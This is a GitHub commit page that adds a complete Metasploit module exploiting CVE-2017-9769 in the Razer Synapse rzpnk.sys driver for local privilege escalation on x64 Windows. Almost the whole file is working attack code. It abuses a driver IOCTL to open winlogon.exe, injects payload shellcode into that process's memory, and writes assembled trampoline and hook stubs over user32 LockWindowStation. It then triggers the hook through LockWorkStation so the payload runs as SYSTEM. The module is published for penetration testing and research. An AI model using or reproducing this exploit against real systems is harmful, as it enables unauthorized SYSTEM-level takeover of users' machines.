Skip to content

Commit 2a1c661

Browse files
David MaloneyDavid Maloney
authored andcommitted
Land rapid7#8723, Razr Synapse local exploit
lands ZeroSteiner's Razr Synapse local priv esc module
2 parents f573a48 + b4813ce commit 2a1c661

File tree

1 file changed

+260
-0
lines changed

1 file changed

+260
-0
lines changed
Lines changed: 260 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,260 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core/exploit/local/windows_kernel'
7+
require 'rex'
8+
require 'metasm'
9+
10+
class MetasploitModule < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Local::WindowsKernel
14+
include Msf::Post::Windows::Priv
15+
16+
# the max size our hook can be, used before it's generated for the allocation
17+
HOOK_STUB_MAX_LENGTH = 256
18+
19+
def initialize(info = {})
20+
super(update_info(info,
21+
'Name' => 'Razer Synapse rzpnk.sys ZwOpenProcess',
22+
'Description' => %q{
23+
A vulnerability exists in the latest version of Razer Synapse
24+
(v2.20.15.1104 as of the day of disclosure) which can be leveraged
25+
locally by a malicious application to elevate its privileges to those of
26+
NT_AUTHORITY\SYSTEM. The vulnerability lies in a specific IOCTL handler
27+
in the rzpnk.sys driver that passes a PID specified by the user to
28+
ZwOpenProcess. This can be issued by an application to open a handle to
29+
an arbitrary process with the necessary privileges to allocate, read and
30+
write memory in the specified process.
31+
32+
This exploit leverages this vulnerability to open a handle to the
33+
winlogon process (which runs as NT_AUTHORITY\SYSTEM) and infect it by
34+
installing a hook to execute attacker controlled shellcode. This hook is
35+
then triggered on demand by calling user32!LockWorkStation(), resulting
36+
in the attacker's payload being executed with the privileges of the
37+
infected winlogon process. In order for the issued IOCTL to work, the
38+
RazerIngameEngine.exe process must not be running. This exploit will
39+
check if it is, and attempt to kill it as necessary.
40+
41+
The vulnerable software can be found here:
42+
https://www.razerzone.com/synapse/. No Razer hardware needs to be
43+
connected in order to leverage this vulnerability.
44+
45+
This exploit is not opsec-safe due to the user being logged out as part
46+
of the exploitation process.
47+
},
48+
'Author' => 'Spencer McIntyre',
49+
'License' => MSF_LICENSE,
50+
'References' => [
51+
['CVE', '2017-9769'],
52+
['URL', 'https://warroom.securestate.com/cve-2017-9769/']
53+
],
54+
'Platform' => 'win',
55+
'Targets' =>
56+
[
57+
# Tested on (64 bits):
58+
# * Windows 7 SP1
59+
# * Windows 10.0.10586
60+
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
61+
],
62+
'DefaultOptions' =>
63+
{
64+
'EXITFUNC' => 'thread',
65+
'WfsDelay' => 20
66+
},
67+
'DefaultTarget' => 0,
68+
'Privileged' => true,
69+
'DisclosureDate' => 'Mar 22 2017'))
70+
end
71+
72+
def check
73+
# Validate that the driver has been loaded and that
74+
# the version is the same as the one expected
75+
client.sys.config.getdrivers.each do |d|
76+
if d[:basename].downcase == 'rzpnk.sys'
77+
expected_checksum = 'b4598c05d5440250633e25933fff42b0'
78+
target_checksum = client.fs.file.md5(d[:filename])
79+
80+
if expected_checksum == Rex::Text.to_hex(target_checksum, '')
81+
return Exploit::CheckCode::Appears
82+
else
83+
return Exploit::CheckCode::Detected
84+
end
85+
end
86+
end
87+
88+
Exploit::CheckCode::Safe
89+
end
90+
91+
def exploit
92+
if is_system?
93+
fail_with(Failure::None, 'Session is already elevated')
94+
end
95+
96+
if check == Exploit::CheckCode::Safe
97+
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
98+
end
99+
100+
if session.platform != 'windows'
101+
fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
102+
elsif session.arch != ARCH_X64
103+
fail_with(Failure::NoTarget, 'This exploit only supports x64 Windows targets')
104+
end
105+
106+
pid = session.sys.process['RazerIngameEngine.exe']
107+
if pid
108+
# if this process is running, the IOCTL won't work but the process runs
109+
# with user privileges so we can kill it
110+
print_status("Found RazerIngameEngine.exe pid: #{pid}, killing it...")
111+
session.sys.process.kill(pid)
112+
end
113+
114+
pid = session.sys.process['winlogon.exe']
115+
print_status("Found winlogon pid: #{pid}")
116+
117+
handle = get_handle(pid)
118+
fail_with(Failure::NotVulnerable, 'Failed to open the process handle') if handle.nil?
119+
vprint_status('Successfully opened a handle to the winlogon process')
120+
121+
winlogon = session.sys.process.new(pid, handle)
122+
allocation_size = payload.encoded.length + HOOK_STUB_MAX_LENGTH
123+
shellcode_address = winlogon.memory.allocate(allocation_size)
124+
winlogon.memory.protect(shellcode_address)
125+
print_good("Allocated #{allocation_size} bytes in winlogon at 0x#{shellcode_address.to_s(16)}")
126+
winlogon.memory.write(shellcode_address, payload.encoded)
127+
hook_stub_address = shellcode_address + payload.encoded.length
128+
129+
result = session.railgun.kernel32.LoadLibraryA('user32')
130+
fail_with(Failure::Unknown, 'Failed to get a handle to user32.dll') if result['return'] == 0
131+
user32_handle = result['return']
132+
133+
# resolve and backup the functions that we'll install trampolines in
134+
user32_trampolines = {} # address => original chunk
135+
user32_functions = ['LockWindowStation']
136+
user32_functions.each do |function|
137+
address = get_address(user32_handle, function)
138+
winlogon.memory.protect(address)
139+
user32_trampolines[function] = {
140+
address: address,
141+
original: winlogon.memory.read(address, 24)
142+
}
143+
end
144+
145+
# generate and install the hook asm
146+
hook_stub = get_hook(shellcode_address, user32_trampolines)
147+
fail_with(Failure::Unknown, 'Failed to generate the hook stub') if hook_stub.nil?
148+
# if this happens, there was a programming error
149+
fail_with(Failure::Unknown, 'The hook stub is too large, please update HOOK_STUB_MAX_LENGTH') if hook_stub.length > HOOK_STUB_MAX_LENGTH
150+
151+
winlogon.memory.write(hook_stub_address, hook_stub)
152+
vprint_status("Wrote the #{hook_stub.length} byte hook stub in winlogon at 0x#{hook_stub_address.to_s(16)}")
153+
154+
# install the asm trampolines to jump to the hook
155+
user32_trampolines.each do |function, trampoline_info|
156+
address = trampoline_info[:address]
157+
trampoline = Metasm::Shellcode.assemble(Metasm::X86_64.new, %{
158+
mov rax, 0x#{address.to_s(16)}
159+
push rax
160+
mov rax, 0x#{hook_stub_address.to_s(16)}
161+
jmp rax
162+
}).encode_string
163+
winlogon.memory.write(address, trampoline)
164+
vprint_status("Installed user32!#{function} trampoline at 0x#{address.to_s(16)}")
165+
end
166+
167+
session.railgun.user32.LockWorkStation()
168+
session.railgun.kernel32.CloseHandle(handle)
169+
end
170+
171+
def get_address(dll_handle, function_name)
172+
result = session.railgun.kernel32.GetProcAddress(dll_handle, function_name)
173+
fail_with(Failure::Unknown, 'Failed to get function address') if result['return'] == 0
174+
result['return']
175+
end
176+
177+
# this is where the actual vulnerability is leveraged
178+
def get_handle(pid)
179+
handle = open_device("\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
180+
return nil unless handle
181+
vprint_status('Successfully opened a handle to the driver')
182+
183+
buffer = [pid, 0].pack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')
184+
185+
session.railgun.add_function('ntdll', 'NtDeviceIoControlFile', 'DWORD',[
186+
['DWORD', 'FileHandle', 'in' ],
187+
['DWORD', 'Event', 'in' ],
188+
['LPVOID', 'ApcRoutine', 'in' ],
189+
['LPVOID', 'ApcContext', 'in' ],
190+
['PDWORD', 'IoStatusBlock', 'out'],
191+
['DWORD', 'IoControlCode', 'in' ],
192+
['PBLOB', 'InputBuffer', 'in' ],
193+
['DWORD', 'InputBufferLength', 'in' ],
194+
['PBLOB', 'OutputBuffer', 'out'],
195+
['DWORD', 'OutputBufferLength', 'in' ],
196+
])
197+
result = session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a050, buffer, buffer.length, buffer.length, buffer.length)
198+
return nil if result['return'] != 0
199+
session.railgun.kernel32.CloseHandle(handle)
200+
201+
result['OutputBuffer'].unpack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')[1]
202+
end
203+
204+
def get_hook(shellcode_address, restore)
205+
dll_handle = session.railgun.kernel32.GetModuleHandleA('kernel32')['return']
206+
return nil if dll_handle == 0
207+
create_thread_address = get_address(dll_handle, 'CreateThread')
208+
209+
stub = %{
210+
call main
211+
; restore the functions where the trampolines were installed
212+
push rbx
213+
}
214+
215+
restore.each do |function, trampoline_info|
216+
original = trampoline_info[:original].unpack('Q*')
217+
stub << "mov rax, 0x#{trampoline_info[:address].to_s(16)}"
218+
original.each do |chunk|
219+
stub << %{
220+
mov rbx, 0x#{chunk.to_s(16)}
221+
mov qword ptr ds:[rax], rbx
222+
add rax, 8
223+
}
224+
end
225+
end
226+
227+
stub << %{
228+
pop rbx
229+
ret
230+
231+
main:
232+
; backup registers we're going to mangle
233+
push r9
234+
push r8
235+
push rdx
236+
push rcx
237+
238+
; setup the arguments for the call to CreateThread
239+
xor rax, rax
240+
push rax ; lpThreadId
241+
push rax ; dwCreationFlags
242+
xor r9, r9 ; lpParameter
243+
mov r8, 0x#{shellcode_address.to_s(16)} ; lpStartAddress
244+
xor rdx, rdx ; dwStackSize
245+
xor rcx, rcx ; lpThreadAttributes
246+
mov rax, 0x#{create_thread_address.to_s(16)} ; &CreateThread
247+
248+
call rax
249+
add rsp, 16
250+
251+
; restore arguments that were mangled
252+
pop rcx
253+
pop rdx
254+
pop r8
255+
pop r9
256+
ret
257+
}
258+
Metasm::Shellcode.assemble(Metasm::X86_64.new, stub).encode_string
259+
end
260+
end

0 commit comments

Comments
 (0)